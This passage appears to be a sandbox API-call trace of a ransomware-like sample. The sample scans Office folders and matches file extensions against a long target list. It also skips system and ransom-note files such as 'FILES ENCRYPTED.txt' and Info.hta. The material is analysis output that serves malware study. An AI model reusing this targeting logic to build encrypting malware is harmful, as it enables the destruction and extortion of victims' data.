(lpString=".cdr") returned 4 [0256.670] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0256.670] lstrlenW (lpString=".cer") returned 4 [0256.670] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0256.670] lstrlenW (lpString=".cf") returned 3 [0256.671] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0256.671] lstrlenW (lpString=".cfc") returned 4 [0256.671] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0256.671] lstrlenW (lpString=".cfm") returned 4 [0256.671] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0256.671] lstrlenW (lpString=".cfml") returned 5 [0256.671] lstrcmpiW (lpString1=".cfml", lpString2="R.GIF") returned -1 [0256.671] lstrlenW (lpString=".cfu") returned 4 [0256.671] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0256.671] lstrlenW (lpString=".chm") returned 4 [0256.671] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0256.671] lstrlenW (lpString=".cin") returned 4 [0256.671] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0256.671] lstrlenW (lpString=".class") returned 6 [0256.671] lstrcmpiW (lpString1=".class", lpString2="ER.GIF") returned -1 [0256.672] lstrlenW (lpString=".clx") returned 4 [0256.672] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0256.672] lstrlenW (lpString=".config") returned 7 [0256.672] lstrcmpiW (lpString1=".config", lpString2="DER.GIF") returned -1 [0256.672] lstrlenW (lpString=".cpp") returned 4 [0256.672] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0256.672] lstrlenW (lpString=".cr2") returned 4 [0256.672] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0256.672] lstrlenW (lpString=".crt") returned 4 [0256.672] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0256.672] lstrlenW (lpString=".crw") returned 4 [0256.672] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0256.673] lstrlenW (lpString=".cs") returned 3 [0256.673] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0256.673] lstrlenW (lpString=".css") returned 4 [0256.673] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0256.673] lstrlenW (lpString=".csv") returned 4 [0256.673] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0256.673] lstrlenW (lpString=".cub") returned 4 [0256.673] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0256.673] lstrlenW (lpString=".dae") returned 4 [0256.673] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0256.673] lstrlenW (lpString=".dat") returned 4 [0256.673] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0256.674] lstrlenW (lpString=".db") returned 3 [0256.674] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0256.674] lstrlenW (lpString=".dbf") returned 4 [0256.674] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0256.674] lstrlenW (lpString=".dbx") returned 4 [0256.674] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0256.674] lstrlenW (lpString=".dc3") returned 4 [0256.674] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0256.674] lstrlenW (lpString=".dcm") returned 4 [0256.674] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0256.674] lstrlenW (lpString=".dcr") returned 4 [0256.674] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0256.674] lstrlenW (lpString=".der") returned 4 [0256.675] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0256.675] lstrlenW (lpString=".dib") returned 4 [0256.675] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0256.675] lstrlenW (lpString=".dic") returned 4 [0256.675] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0256.675] lstrlenW (lpString=".dif") returned 4 [0256.675] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0256.675] lstrlenW (lpString=".divx") returned 5 [0256.675] lstrcmpiW (lpString1=".divx", lpString2="R.GIF") returned -1 [0256.675] lstrlenW (lpString=".djvu") returned 5 [0256.675] lstrcmpiW (lpString1=".djvu", lpString2="R.GIF") returned -1 [0256.675] lstrlenW (lpString=".dng") returned 4 [0256.675] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0256.675] lstrlenW (lpString=".doc") returned 4 [0256.675] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0256.675] lstrlenW (lpString=".docm") returned 5 [0256.676] lstrcmpiW (lpString1=".docm", lpString2="R.GIF") returned -1 [0256.676] lstrlenW (lpString=".docx") returned 5 [0256.676] lstrcmpiW (lpString1=".docx", lpString2="R.GIF") returned -1 [0256.676] lstrlenW (lpString=".dot") returned 4 [0256.676] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0256.676] lstrlenW (lpString=".dotm") returned 5 [0256.677] lstrcmpiW (lpString1=".dotm", lpString2="R.GIF") returned -1 [0256.677] lstrlenW (lpString=".dotx") returned 5 [0256.677] lstrcmpiW (lpString1=".dotx", lpString2="R.GIF") returned -1 [0256.677] lstrlenW (lpString=".dpx") returned 4 [0256.678] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0256.678] lstrlenW (lpString=".dqy") returned 4 [0256.678] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0256.678] lstrlenW (lpString=".dsn") returned 4 [0256.678] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0256.678] lstrlenW (lpString=".dt") returned 3 [0256.678] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0256.678] lstrlenW (lpString=".dtd") returned 4 [0256.678] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0256.678] lstrlenW (lpString=".dwg") returned 4 [0256.678] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0256.678] lstrlenW (lpString=".dwt") returned 4 [0256.678] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0256.679] lstrlenW (lpString=".dx") returned 3 [0256.679] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0256.679] lstrlenW (lpString=".dxf") returned 4 [0256.679] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0256.679] lstrlenW (lpString=".edml") returned 5 [0256.679] lstrcmpiW (lpString1=".edml", lpString2="R.GIF") returned -1 [0256.679] lstrlenW (lpString=".efd") returned 4 [0256.679] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0256.679] lstrlenW (lpString=".elf") returned 4 [0256.679] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0256.679] lstrlenW (lpString=".emf") returned 4 [0256.679] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0256.679] lstrlenW (lpString=".emz") returned 4 [0256.680] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0256.680] lstrlenW (lpString=".epf") returned 4 [0256.680] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0256.680] lstrlenW (lpString=".eps") returned 4 [0256.680] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0256.680] lstrlenW (lpString=".epsf") returned 5 [0256.680] lstrcmpiW (lpString1=".epsf", lpString2="R.GIF") returned -1 [0256.680] lstrlenW (lpString=".epsp") returned 5 [0256.680] lstrcmpiW (lpString1=".epsp", lpString2="R.GIF") returned -1 [0256.680] lstrlenW (lpString=".erf") returned 4 [0256.680] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0256.680] lstrlenW (lpString=".exr") returned 4 [0256.680] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0256.680] lstrlenW (lpString=".f4v") returned 4 [0256.681] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0256.681] lstrlenW (lpString=".fido") returned 5 [0256.681] lstrcmpiW (lpString1=".fido", lpString2="R.GIF") returned -1 [0256.681] lstrlenW (lpString=".flm") returned 4 [0256.681] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0256.681] lstrlenW (lpString=".flv") returned 4 [0256.681] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0256.681] lstrlenW (lpString=".frm") returned 4 [0256.681] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0256.681] lstrlenW (lpString=".fxg") returned 4 [0256.681] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0256.681] lstrlenW (lpString=".geo") returned 4 [0256.681] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0256.681] lstrlenW (lpString=".gif") returned 4 [0256.681] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0256.682] lstrlenW (lpString="HEADER.GIF") returned 10 [0256.682] lstrlenW (lpString=".WHY") returned 4 [0256.682] lstrcmpiW (lpString1=".WHY", lpString2=".GIF") returned 1 [0256.682] lstrlenW (lpString="HEADER.GIF") returned 10 [0256.682] lstrcmpiW (lpString1="boot.ini", lpString2="HEADER.GIF") returned -1 [0256.682] lstrcmpiW (lpString1="bootfont.bin", lpString2="HEADER.GIF") returned -1 [0256.682] lstrcmpiW (lpString1="ntldr", lpString2="HEADER.GIF") returned 1 [0256.682] lstrcmpiW (lpString1="ntdetect.com", lpString2="HEADER.GIF") returned 1 [0256.682] lstrcmpiW (lpString1="io.sys", lpString2="HEADER.GIF") returned 1 [0256.682] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="HEADER.GIF") returned -1 [0256.682] lstrcmpiW (lpString1="Info.hta", lpString2="HEADER.GIF") returned 1 [0256.682] lstrcmpiW (lpString1="winhost.exe", lpString2="HEADER.GIF") returned 1 [0256.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue\\HEADER.GIF") returned 114 [0256.682] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37ae6a4 | out: lpFindFileData=0x37ae6a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f925600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f925600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0256.683] lstrlenW (lpString="TAB_OFF.GIF") returned 11 [0256.683] lstrlenW (lpString=".1cd") returned 4 [0256.683] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0256.683] lstrlenW (lpString=".3ds") returned 4 [0256.683] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0256.683] lstrlenW (lpString=".3fr") returned 4 [0256.683] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0256.683] lstrlenW (lpString=".3g2") returned 4 [0256.683] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0256.683] lstrlenW (lpString=".3gp") returned 4 [0256.683] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0256.683] lstrlenW (lpString=".7z") returned 3 [0256.683] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0256.683] lstrlenW (lpString=".accda") returned 6 [0256.684] lstrcmpiW (lpString1=".accda", lpString2="FF.GIF") returned -1 [0256.684] lstrlenW (lpString=".accdb") returned 6 [0265.110] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.110] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ITA", cAlternateFileName="ACCESS~1.ITA")) returned 1 [0265.111] lstrlenW (lpString="accessibility.ITA") returned 17 [0265.111] lstrlenW (lpString=".1cd") returned 4 [0265.116] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.116] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8fdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.117] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.117] lstrlenW (lpString=".1cd") returned 4 [0265.125] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.126] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.JPN", cAlternateFileName="ACCESS~1.JPN")) returned 1 [0265.126] lstrlenW (lpString="accessibility.JPN") returned 17 [0265.126] lstrlenW (lpString=".1cd") returned 4 [0265.128] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.128] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.128] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.128] lstrlenW (lpString=".1cd") returned 4 [0265.135] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.135] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.KOR", cAlternateFileName="ACCESS~1.KOR")) returned 1 [0265.135] lstrlenW (lpString="accessibility.KOR") returned 17 [0265.135] lstrlenW (lpString=".1cd") returned 4 [0265.139] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.139] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.139] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.139] lstrlenW (lpString=".1cd") returned 4 [0265.144] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.144] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NOR", cAlternateFileName="ACCESS~1.NOR")) returned 1 [0265.144] lstrlenW (lpString="accessibility.NOR") returned 17 [0265.144] lstrlenW (lpString=".1cd") returned 4 [0265.146] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.146] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.146] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.146] lstrlenW (lpString=".1cd") returned 4 [0265.351] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.352] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.NLD", cAlternateFileName="ACCESS~1.NLD")) returned 1 [0265.352] lstrlenW (lpString="accessibility.NLD") returned 17 [0265.352] lstrlenW (lpString=".1cd") returned 4 [0265.355] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.356] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x924e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.356] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.356] lstrlenW (lpString=".1cd") returned 4 [0265.362] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.362] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.POL", cAlternateFileName="ACCESS~1.POL")) returned 1 [0265.363] lstrlenW (lpString="accessibility.POL") returned 17 [0265.363] lstrlenW (lpString=".1cd") returned 4 [0265.364] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.365] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x37aeb9c | out: lpFindFileData=0x37aeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0265.365] lstrlenW (lpString="DEXShare.asfx") returned 13 [0265.365] lstrlenW (lpString=".1cd") returned 4 [0265.370] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.371] FindNextFileW (in: hFindFile=0x624640, lpFindFileData=0x37aee18 | out: lpFindFileData=0x37aee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.PTB", cAlternateFileName="ACCESS~1.PTB")) returned 1 [0265.371] lstrlenW (lpString="accessibility.PTB") returned 17 [0265.371] 